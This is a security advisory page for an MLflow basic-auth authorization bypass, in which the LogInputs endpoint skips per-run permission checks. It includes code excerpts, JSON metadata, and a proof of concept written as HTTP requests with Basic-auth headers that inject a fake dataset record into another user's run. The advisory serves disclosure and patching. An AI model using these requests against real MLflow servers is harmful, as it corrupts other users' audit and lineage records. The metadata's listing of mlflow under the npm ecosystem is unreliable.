GHSA-3P64-6GVH-82V5

Vulnerability from github – Published: 2026-08-17 21:59 – Updated: 2026-08-17 21:59
VLAI
Summary
MLflow: LogInputs endpoint bypasses per-run UPDATE authorization in basic-auth
Details

Summary

When MLflow is deployed with the built-in basic-auth plugin (--app-name basic-auth), any authenticated user can inject arbitrary dataset records into another user's run by calling POST /api/2.0/mlflow/runs/log-inputs. The LogInputs proto handler is absent from the BEFORE_REQUEST_HANDLERS map in mlflow/server/auth/__init__.py, so the before-request hook skips authorization entirely and the request succeeds. Standard write endpoints on the same run -- such as POST /api/2.0/mlflow/runs/log-metric -- correctly return HTTP 403.

Details

MLflow's basic-auth app gates every HTTP handler through a before-request hook (_before_request) that looks up the relevant permission validator in BEFORE_REQUEST_VALIDATORS. Validators are built from the BEFORE_REQUEST_HANDLERS dictionary, which maps each protobuf request class to a callable. When a class is absent from the dict (or mapped to None), get_before_request_handler returns None, and the resulting entry in BEFORE_REQUEST_VALIDATORS is (path, method): None.

Inside _before_request:

# mlflow/server/auth/__init__.py  _before_request()
if validator := _find_validator(request):   # None is falsy -- branch skipped
    if not validator():
        return make_forbidden_response()
elif _is_proxy_artifact_path(request.path):  # not a proxy path
    ...
# falls through: any authenticated request is allowed

The LogInputs protobuf class is not present in BEFORE_REQUEST_HANDLERS:

# mlflow/server/auth/__init__.py  BEFORE_REQUEST_HANDLERS dict
# LogInputs is absent; all run-write operations below ARE present:
LogBatch: validate_can_update_run,
LogMetric: validate_can_update_run,
SetTag:    validate_can_update_run,
LogParam:  validate_can_update_run,
# LogInputs: <missing>

The route /api/2.0/mlflow/runs/log-inputs (and the identical /ajax-api/ variant) therefore admits any valid credential, regardless of which experiment or run is targeted. The LogInputs handler writes DatasetInput records directly to the run's lineage table without any ownership check.

PoC

Prerequisites: MLflow v3.13.0 running with --app-name basic-auth. Two accounts: alice (creates experiment 2 and run A) and bob (creates experiment 4 and run B).

  1. Confirm the authorized endpoint correctly denies alice's write to bob's run:
POST /api/2.0/mlflow/runs/log-metric HTTP/1.1
Authorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM=   (alice:alice_password123)
Content-Type: application/json

{"run_id": "<bob_run_id>", "key": "test", "value": 1.0, "timestamp": 0, "step": 0}

Response: HTTP 403 Permission denied

  1. Inject a dataset record into bob's run as alice:
POST /api/2.0/mlflow/runs/log-inputs HTTP/1.1
Authorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM=   (alice:alice_password123)
Content-Type: application/json

{"run_id": "<bob_run_id>", "datasets": [{"dataset": {"name": "ATTACKER_injected", "digest": "evil123", "profile": "attacker_controlled"}}]}

Response: HTTP 200 {}

  1. Confirm injection persisted:
GET /api/2.0/mlflow/runs/get?run_id=<bob_run_id> HTTP/1.1
Authorization: Basic Ym9iOmJvYl9wYXNzd29yZF9uZXcxMjM=   (bob:bob_password_new123)

Response: HTTP 200 -- dataset_inputs array contains {"name":"ATTACKER_injected","digest":"evil123","profile":"attacker_controlled"}.

Impact

Any authenticated MLflow user can corrupt the dataset lineage metadata of any other user's run. In ML compliance workflows, dataset provenance records are audit evidence for model reproducibility and regulatory review. Injecting fake or misleading dataset entries into a competitor's runs can silently invalidate audit trails, cause misattribution of model training data, or introduce confusion about which datasets were used to train a model. The attacker needs only a valid credential; no elevated permissions are required.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "mlflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69146"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T21:59:01Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWhen MLflow is deployed with the built-in basic-auth plugin (`--app-name basic-auth`), any authenticated user can inject arbitrary dataset records into another user\u0027s run by calling `POST /api/2.0/mlflow/runs/log-inputs`. The `LogInputs` proto handler is absent from the `BEFORE_REQUEST_HANDLERS` map in `mlflow/server/auth/__init__.py`, so the before-request hook skips authorization entirely and the request succeeds. Standard write endpoints on the same run -- such as `POST /api/2.0/mlflow/runs/log-metric` -- correctly return HTTP 403.\n\n### Details\n\nMLflow\u0027s basic-auth app gates every HTTP handler through a before-request hook (`_before_request`) that looks up the relevant permission validator in `BEFORE_REQUEST_VALIDATORS`. Validators are built from the `BEFORE_REQUEST_HANDLERS` dictionary, which maps each protobuf request class to a callable. When a class is absent from the dict (or mapped to `None`), `get_before_request_handler` returns `None`, and the resulting entry in `BEFORE_REQUEST_VALIDATORS` is `(path, method): None`.\n\nInside `_before_request`:\n\n```python\n# mlflow/server/auth/__init__.py  _before_request()\nif validator := _find_validator(request):   # None is falsy -- branch skipped\n    if not validator():\n        return make_forbidden_response()\nelif _is_proxy_artifact_path(request.path):  # not a proxy path\n    ...\n# falls through: any authenticated request is allowed\n```\n\nThe `LogInputs` protobuf class is not present in `BEFORE_REQUEST_HANDLERS`:\n\n```python\n# mlflow/server/auth/__init__.py  BEFORE_REQUEST_HANDLERS dict\n# LogInputs is absent; all run-write operations below ARE present:\nLogBatch: validate_can_update_run,\nLogMetric: validate_can_update_run,\nSetTag:    validate_can_update_run,\nLogParam:  validate_can_update_run,\n# LogInputs: \u003cmissing\u003e\n```\n\nThe route `/api/2.0/mlflow/runs/log-inputs` (and the identical `/ajax-api/` variant) therefore admits any valid credential, regardless of which experiment or run is targeted. The `LogInputs` handler writes `DatasetInput` records directly to the run\u0027s lineage table without any ownership check.\n\n### PoC\n\nPrerequisites: MLflow v3.13.0 running with `--app-name basic-auth`. Two accounts: alice (creates experiment 2 and run A) and bob (creates experiment 4 and run B).\n\n1. Confirm the authorized endpoint correctly denies alice\u0027s write to bob\u0027s run:\n\n```\nPOST /api/2.0/mlflow/runs/log-metric HTTP/1.1\nAuthorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM=   (alice:alice_password123)\nContent-Type: application/json\n\n{\"run_id\": \"\u003cbob_run_id\u003e\", \"key\": \"test\", \"value\": 1.0, \"timestamp\": 0, \"step\": 0}\n```\n\nResponse: HTTP 403 Permission denied\n\n2. Inject a dataset record into bob\u0027s run as alice:\n\n```\nPOST /api/2.0/mlflow/runs/log-inputs HTTP/1.1\nAuthorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM=   (alice:alice_password123)\nContent-Type: application/json\n\n{\"run_id\": \"\u003cbob_run_id\u003e\", \"datasets\": [{\"dataset\": {\"name\": \"ATTACKER_injected\", \"digest\": \"evil123\", \"profile\": \"attacker_controlled\"}}]}\n```\n\nResponse: HTTP 200 {}\n\n3. Confirm injection persisted:\n\n```\nGET /api/2.0/mlflow/runs/get?run_id=\u003cbob_run_id\u003e HTTP/1.1\nAuthorization: Basic Ym9iOmJvYl9wYXNzd29yZF9uZXcxMjM=   (bob:bob_password_new123)\n```\n\nResponse: HTTP 200 -- dataset_inputs array contains `{\"name\":\"ATTACKER_injected\",\"digest\":\"evil123\",\"profile\":\"attacker_controlled\"}`.\n\n### Impact\n\nAny authenticated MLflow user can corrupt the dataset lineage metadata of any other user\u0027s run. In ML compliance workflows, dataset provenance records are audit evidence for model reproducibility and regulatory review. Injecting fake or misleading dataset entries into a competitor\u0027s runs can silently invalidate audit trails, cause misattribution of model training data, or introduce confusion about which datasets were used to train a model. The attacker needs only a valid credential; no elevated permissions are required.",
  "id": "GHSA-3p64-6gvh-82v5",
  "modified": "2026-08-17T21:59:01Z",
  "published": "2026-08-17T21:59:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/security/advisories/GHSA-3p64-6gvh-82v5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/pull/24291"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/commit/5c34aec5669e2386b38b5ee0855cd61174e27693"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mlflow/mlflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/releases/tag/v3.15.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MLflow: LogInputs endpoint bypasses per-run UPDATE authorization in basic-auth"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…